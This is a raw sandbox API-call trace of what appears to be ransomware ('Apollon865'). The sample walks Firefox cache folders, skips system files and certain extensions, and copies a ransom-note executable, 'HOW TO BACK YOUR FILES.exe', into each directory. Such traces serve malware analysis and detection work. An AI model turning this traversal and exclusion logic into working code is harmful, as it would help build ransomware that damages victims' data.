	[0045.372] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82329dd0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x823c2350, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xa80f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ECB2Dd01", cAlternateFileName="")) returned 1
	[0045.372] lstrcmpiW (lpString1="ECB2Dd01", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.372] lstrcmpiW (lpString1="ECB2Dd01", lpString2="Apollon865.txt.exe") returned 1
	[0045.372] lstrcmpiW (lpString1="ECB2Dd01", lpString2=".") returned 1
	[0045.372] lstrcmpiW (lpString1="ECB2Dd01", lpString2="..") returned 1
	[0045.372] lstrcmpiW (lpString1="ECB2Dd01", lpString2="windows") returned -1
	[0045.372] lstrcmpiW (lpString1="ECB2Dd01", lpString2="bootmgr") returned 1
	[0045.372] lstrcmpiW (lpString1="ECB2Dd01", lpString2="temp") returned -1
	[0045.372] lstrcmpiW (lpString1="ECB2Dd01", lpString2="pagefile.sys") returned -1
	[0045.372] lstrcmpiW (lpString1="ECB2Dd01", lpString2="boot") returned 1
	[0045.372] lstrcmpiW (lpString1="ECB2Dd01", lpString2="ids.txt") returned -1
	[0045.372] lstrcmpiW (lpString1="ECB2Dd01", lpString2="ntuser.dat") returned -1
	[0045.372] lstrcmpiW (lpString1="ECB2Dd01", lpString2="perflogs") returned -1
	[0045.372] lstrcmpiW (lpString1="ECB2Dd01", lpString2="MSBuild") returned -1
	[0045.372] lstrlenW (lpString="ECB2Dd01") returned 8
	[0045.373] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\*") returned 98
	[0045.373] lstrcpyW (in: lpString1=0x2d3e612, lpString2="ECB2Dd01" | out: lpString1="ECB2Dd01") returned="ECB2Dd01"
	[0045.373] lstrlenW (lpString="ECB2Dd01") returned 8
	[0045.373] lstrlenW (lpString="Apollon865") returned 10
	[0045.373] lstrlenW (lpString=".dll") returned 4
	[0045.373] lstrcmpiW (lpString1="ECB2Dd01", lpString2=".dll") returned 1
	[0045.373] lstrlenW (lpString=".lnk") returned 4
	[0045.373] lstrcmpiW (lpString1="ECB2Dd01", lpString2=".lnk") returned 1
	[0045.373] lstrlenW (lpString=".ini") returned 4
	[0045.373] lstrcmpiW (lpString1="ECB2Dd01", lpString2=".ini") returned 1
	[0045.373] lstrlenW (lpString=".sys") returned 4
	[0045.373] lstrcmpiW (lpString1="ECB2Dd01", lpString2=".sys") returned 1
	[0045.373] lstrlenW (lpString="ECB2Dd01") returned 8
	[0045.373] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23"
	[0045.373] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ac620 | out: hHeap=0x580000) returned 1
	[0045.373] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0045.373] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23") returned 96
	[0045.373] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23"
	[0045.373] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.373] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\23\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.379] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.379] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x331e1270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x331e1270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.379] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.379] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.379] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.379] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x331e1270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x331e1270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.379] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.379] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.379] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.379] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.379] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7fe0250, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xf888, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7E0FEd01", cAlternateFileName="")) returned 1
	[0045.379] lstrcmpiW (lpString1="7E0FEd01", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.379] lstrcmpiW (lpString1="7E0FEd01", lpString2="Apollon865.txt.exe") returned -1
	[0045.379] lstrcmpiW (lpString1="7E0FEd01", lpString2=".") returned 1
	[0045.379] lstrcmpiW (lpString1="7E0FEd01", lpString2="..") returned 1
	[0045.379] lstrcmpiW (lpString1="7E0FEd01", lpString2="windows") returned -1
	[0045.379] lstrcmpiW (lpString1="7E0FEd01", lpString2="bootmgr") returned -1
	[0045.379] lstrcmpiW (lpString1="7E0FEd01", lpString2="temp") returned -1
	[0045.379] lstrcmpiW (lpString1="7E0FEd01", lpString2="pagefile.sys") returned -1
	[0045.379] lstrcpyW (in: lpString1=0x2d3e612, lpString2="7E0FEd01" | out: lpString1="7E0FEd01") returned="7E0FEd01"
	[0045.379] lstrlenW (lpString="7E0FEd01") returned 8
	[0045.380] lstrlenW (lpString="Apollon865") returned 10
	[0045.380] lstrlenW (lpString=".dll") returned 4
	[0045.380] lstrcmpiW (lpString1="7E0FEd01", lpString2=".dll") returned 1
	[0045.380] lstrlenW (lpString=".lnk") returned 4
	[0045.380] lstrcmpiW (lpString1="7E0FEd01", lpString2=".lnk") returned 1
	[0045.380] lstrlenW (lpString=".ini") returned 4
	[0045.380] lstrcmpiW (lpString1="7E0FEd01", lpString2=".ini") returned 1
	[0045.380] lstrlenW (lpString=".sys") returned 4
	[0045.380] lstrcmpiW (lpString1="7E0FEd01", lpString2=".sys") returned 1
	[0045.380] lstrlenW (lpString="7E0FEd01") returned 8
	[0045.380] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E"
	[0045.380] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa558 | out: hHeap=0x580000) returned 1
	[0045.380] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0045.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E") returned 93
	[0045.380] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E"
	[0045.380] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.380] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\e\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.384] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.384] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x331e1270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x331e1270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.384] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.384] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.384] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="69" | out: lpString1="69") returned="69"
	[0045.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0045.384] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x5ac620
	[0045.384] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0045.384] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x331e1270, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x331e1270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.384] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.384] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x331e1270, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x331e1270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0045.384] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.384] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcb0
	[0045.384] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69"
	[0045.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ac620 | out: hHeap=0x580000) returned 1
	[0045.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0045.385] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69") returned 96
	[0045.385] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69"
	[0045.385] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.385] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\e\\69\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.390] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.390] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x332073d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x332073d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.390] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.390] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.390] lstrcpyW (in: lpString1=0x2d3e612, lpString2="885EEd01" | out: lpString1="885EEd01") returned="885EEd01"
	[0045.391] lstrlenW (lpString="885EEd01") returned 8
	[0045.391] lstrlenW (lpString="Apollon865") returned 10
	[0045.391] lstrlenW (lpString=".dll") returned 4
	[0045.391] lstrcmpiW (lpString1="885EEd01", lpString2=".dll") returned 1
	[0045.391] lstrlenW (lpString=".lnk") returned 4
	[0045.391] lstrcmpiW (lpString1="885EEd01", lpString2=".lnk") returned 1
	[0045.391] lstrlenW (lpString=".ini") returned 4
	[0045.391] lstrcmpiW (lpString1="885EEd01", lpString2=".ini") returned 1
	[0045.391] lstrlenW (lpString=".sys") returned 4
	[0045.391] lstrcmpiW (lpString1="885EEd01", lpString2=".sys") returned 1
	[0045.391] lstrlenW (lpString="885EEd01") returned 8
	[0045.391] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D"
	[0045.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa490 | out: hHeap=0x580000) returned 1
	[0045.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0045.391] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D") returned 93
	[0045.391] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D"
	[0045.391] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.391] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\d\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.395] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.395] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x332073d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x332073d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.395] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.395] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.395] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="08" | out: lpString1="08") returned="08"
	[0045.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0045.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x5aa490
	[0045.395] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fc70
	[0045.395] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x332073d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x332073d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.395] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.395] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x332073d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x332073d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0045.395] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.395] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
	[0045.395] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08"
	[0045.395] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa490 | out: hHeap=0x580000) returned 1
	[0045.395] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0045.395] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08") returned 96
	[0045.396] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08"
	[0045.396] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.396] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\d\\08\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.400] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.400] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x332073d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x332073d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.400] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.400] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.400] lstrcpyW (in: lpString1=0x2d3e612, lpString2="71469d01" | out: lpString1="71469d01") returned="71469d01"
	[0045.400] lstrlenW (lpString="71469d01") returned 8
	[0045.400] lstrlenW (lpString="Apollon865") returned 10
	[0045.400] lstrlenW (lpString=".dll") returned 4
	[0045.400] lstrcmpiW (lpString1="71469d01", lpString2=".dll") returned 1
	[0045.400] lstrlenW (lpString=".lnk") returned 4
	[0045.400] lstrcmpiW (lpString1="71469d01", lpString2=".lnk") returned 1
	[0045.400] lstrlenW (lpString=".ini") returned 4
	[0045.400] lstrcmpiW (lpString1="71469d01", lpString2=".ini") returned 1
	[0045.400] lstrlenW (lpString=".sys") returned 4
	[0045.400] lstrcmpiW (lpString1="71469d01", lpString2=".sys") returned 1
	[0045.400] lstrlenW (lpString="71469d01") returned 8
	[0045.401] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C"
	[0045.401] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
